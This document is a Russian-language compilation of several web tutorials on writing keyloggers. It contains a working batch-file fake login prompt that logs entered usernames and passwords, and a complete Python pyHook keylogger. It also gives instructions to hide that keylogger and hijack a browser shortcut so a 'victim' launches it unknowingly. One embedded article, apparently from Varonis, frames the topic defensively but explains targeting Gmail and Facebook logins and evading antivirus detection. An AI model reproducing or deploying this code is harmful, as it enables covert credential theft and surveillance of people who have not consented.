Information Security Squad
Как сделать простого клавиатурного шпиона [ keylogger ] в блокноте
В этом материале вы узнаете как создать простой клавиатурный перехватчик, используя стандартный блокнот, который может зарегистрировать каждое нажатие клавиши.
Хакеры используют клавиатурные перехватчики, чтобы украсть конфиденциальные данные.
Клавиатурный шпион — опасный инструмент взламывания, который может работать в фоновом режиме, не позволяя пользователю заметить свое присутствие.
Есть много программного обеспечения кейлоггеров доступное онлайн.
Не используйте его, если оно не с открытым исходным кодом.
Хакеры используют клавиатурные шпионы, чтобы украсть конфиденциальные данные, такие как имена пользователей, пароли, детали банковского счета и информация о кредитной карте.
Давайте посмотрим, как мы можем сделать собственный кейлоггер без дополнительного ПО и знаний программирования.
1. Перейдем в директорию диска ( C: ) и найдем папку Logs. Если она не существует содаем ее.
2. Открываем блокнот и вставляем в него следующее содержимое:
@echo off
color a
title Login
cls
echo Please Enter Your Email Address And Password
echo.
echo.
cd “C:Logs”
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Log.txt
start >>Program Here
3. Переходим в меню и сохраняем файл. Назовем его Logs.bat и сохраним его в каталоге Logs на диске C:
4. Чтобы проверить его работу, запустим батник и введем куда либо пароль и логин.
5. Перейдем в папку Logs и найдем там файл log.txt.
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Источник статьи: http://habr.com/ru/company/varonis/blog/302458/
Как написать кейлоггер своими руками?
В этой статье описывается процесс создания простого кейлоггера с элементами социальной инженерии, который официально попросит ввести нужную информацию от пользователя, сохранив её незаметно от глаз в специальную папку. После чего окно закроется, и запустится нужная вам программа. При этом, если пользователь купится на “утку”, введённые логин и пароль останутся в специальном файле. Сейчас вы увидите, что написать настоящий кейлоггер своими руками очень просто. Естественно, что никакой антивирус тут будет “не при делах”.
В статье Что такое кейлоггер? мы познакомились с понятием, а также увидели ряд программ, которые позволяют отслеживать “стучание по клавишам”. Пользователи должны понимать, что наработка, установка и использование кейлоггера не всегда носит отрицательный оттенок. Он может носить форму нормального во многих ситуациях родительского контроля над некоторыми юными пользователями Windows, или же обычного “прикола” над друзьями. Так что рассмотрим ручное написание простенького кейлоггера без применения программ со стороны. И с помощью привычного Блокнота Windows.
Блокнот-то Блокнотом, но я, по сложившейся уже привычке, использую продвинутую его версию Notepad++, так что не удивляйтесь необычным окнам на фото. Тем более, что именно она позволяет “переводить” кириллические слова в сообщении, которое призовёт пользователя к действию. Это делается в панели инструментов документа
Кодировки->Кодировки->Кириллица->ОЕМ 855 (ОЕМ 866)
Далее. Я покажу вам принцип создания кейлоггера своими руками. Поверьте – пораскинув мозгами и решив несколько простых задач даже такой кейлоггер можно “довести до ума”. Мне на этом сайте этого просто не дадут сделать, и статейку быстро заблокируют. Так что воспринимайте информацию как пищу для размышлений, а не готовый инструмент.
Как написать кейлоггер: поехали
Перед тем, как кейлоггер заработает, от вас понадобится несколько движений:
Готовим хранилище для вводимого
Здесь всё просто: вам нужен кратчайший путь (но он может быть абсолютно любым, в том числе сетевым). У меня это корень диска С. Здесь создаётся папка logs. Здесь вы будете искать обычный файл logs.txt (его создаст уже сам кейлоггер).
Блокнот по-русски не понимает, но латинские символы читает: что здесь что – понятно и так
Напишем кейлоггер своими руками: сам код
- открываем окно Notepad++ и вводим следующий код (содержание сообщения к пользователю – произвольное):
Взглянув на окно консоли, появляющейся после запуска кейлоггера, вы поймёте какая команда за что отвечает. Хотелось бы только заострить внимание на части кода & echo. , который отвечает за перенос строк написанного сообщения. Учитывая, что он может быть произвольным, просто выставляйте & echo. в разрывы предложений для удобочитаемости. В строке cd должен быть указан путь к папке той программы, которая (по вашему замыслу) и должна запуститься после ввода пароля. Если кейлоггер (совершенно случайно) окажется на чужом компьютере, вам лучше заранее осведомиться о разрядности системы: пути к программам в 32-х и 64-х битных архитектурах Windows отличаются. Завершит работу кейлоггера строка start, которая указывает на исполнительный файл нужной программы. Да, вернусь к началу скрипта: цветность сообщения можно тоже подбирать самостоятельно. За него отвечает строка color. Выбирайте a, b, c и т.д.
Всё. Проверьте, как работает. Когда освоитесь, кейлоггер можно усовершенствовать. Так, можно без труда создать для него ярлык со значком понравившейся программы, сам кейлоггер спрятать, сделав невидимым, уничтожить после первого запуска и т.п. В общем, я заканчиваю, а вы дерзайте.
Простой кейлоггер на Python
Здравствуйте, с вами снова QUAZAR. Сегодня я покажу как создать простой кейлоггер на Python. Разумеется данный клавиатурный шпион не может соперничать с такими гигантами как Elite Keylogger, но несмотря на это ему можно найти свое применение.
Подробно о том, что такое кейлоггер и о видах кейлоггеров, вы можете прочитать в статье «Что такое кейлоггер«. Чтобы найти дополнительные материалы по теме используйте поиск по сайту, который находится в верхнем правом углу. Просто впишите слово «кейлоггер» или «клавиатурный шпион».
Простой кейлоггер на Python
Для создания кейлоггера нам потребуется:
- Операционная система: Windows или MacOs (также можно использовать любой Linux, но я лично не пробовал)
- Установленный на целевой машине Python, а также специальные библиотеки.
Все ссылки на бесплатное ПО будут перечислены ниже.
Создание простого кейлоггера на Python
Для начала необходимо скачать и установить Python.
Простой кейлоггер на Python
После установки Python вам необходимо установить модули «pyHook» и «pywin32». На этом сайте вы найдете 32- и 64-битные версии для Windows и других ОС. Скачайте «PYhook» и «pyWin32» в соответствии с установленной вами версией Python и Windows (32 бит или 64 бит).
Кейлоггер на Python. Модуль PYhook
Кейлоггер на Python. Модуль pyWin32
После загрузки установите и откройте меню IDLE (Python GUI) из меню «Пуск».
Простой кейлоггер на Python
Зайдите в меню «Файл» и нажмите на пункте «Новый Файл». После чего вставьте код кейлоггера:
#Name: QUAZAR
#Website : www.spy-soft.net
import pyHook, pythoncom, sys, logging
file_log = ‘C:keyloggerlog.txt’
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
И сохраните его назвав файл Keylogger.pyw. Только не сохраняйте файл в корневом каталоге C: где для копирования и удаления файлов нужны права администратора. Создайте новую папку на диске C: или в другом месте, где вам не нужны права администратора для копирования файлов и сохраните Keylogger.pyw там.
В качестве выходного файла отчета «file_log =« C:keyloggerlog.txt » вы можете выбрать любое место, но лучше конечно, какое-то скрытое место на жестком диске. В этом примере я буду сохранять файл отчета на диск в корневой каталог C:. Ведь мне нечего скрывать.
Автоматический запуск кейлоггера на Python
Кейлоггер готов. Теперь надо сделать так чтобы кейлоггер запускался скрыто от пользователя и автоматически с загрузкой Windows. Реализовать это можно по разному. Попробуем сделать с помощью bat-файла привязав запуск кейлоггера к какой-нибудь программе или прописав в автозагрузку.
Для начала создайте bat-файл. Скопируйте и вставьте в блокнот следующий код:
::Name: QUAZAR
::Website : www.spy-soft.net
@echo off
start «» «C:keyloggerkeylogger.pyw»
start «» «C:Program FilesOperalauncher.exe»
В первой строке необходимо вписать путь к файлу keylogger.pyw (в моем случае «C:keylogger.pyw»). Во второй строке вы должны ввести путь к программе, который обычно использует пользователь (в моем случае — браузер Opera).
После редактирования сохраните файл в расширении .bat (в моем случае logger.bat) в каком-нибудь скрытом месте на компьютере (в моем случае в «C:keylogger.bat»).
Теперь идем на рабочий стол и выбираем ярлык часто используемой программы (в моем случае — это браузер Opera). Правым кликом мышки вызываем контекстное меню и заходим в свойства ярлыка. В поле «Объект» вводим путь к бат-файлу кейлоггера «C:keyloggerlogger.bat».
После внесения изменений изменится и иконка ярлыка. Но это легко решается на вкладке свойстве (смотрите скрин выше).
Теперь, когда жертва откроет браузер Opera, автоматически запустится бат-файл, т.е. наш кейлоггер. С этого момента все нажатия на клавиатуре будут сохраняться в файл keyloggerlog.txt.
Для остановки работы кейлоггера зайдите в диспетчер задач и прибейте процесс.
Данный метод имеет одно «но». Каждый раз при запуске кейлоггера будет появляться окно командной строки. У людей далеких от компьютера это не вызовет подозрений, а вот продвинутый пользователь может понять в чем здесь дело. Скрыть окно командной строки можно с помощью конвертера bat в exe.
На этом все. Теперь вы знаете, как создать простейший кейлоггер на Python, который при желании можно доработать еще лучше.
Источник статьи: http://spy-soft.net/prostoj-kejlogger-python/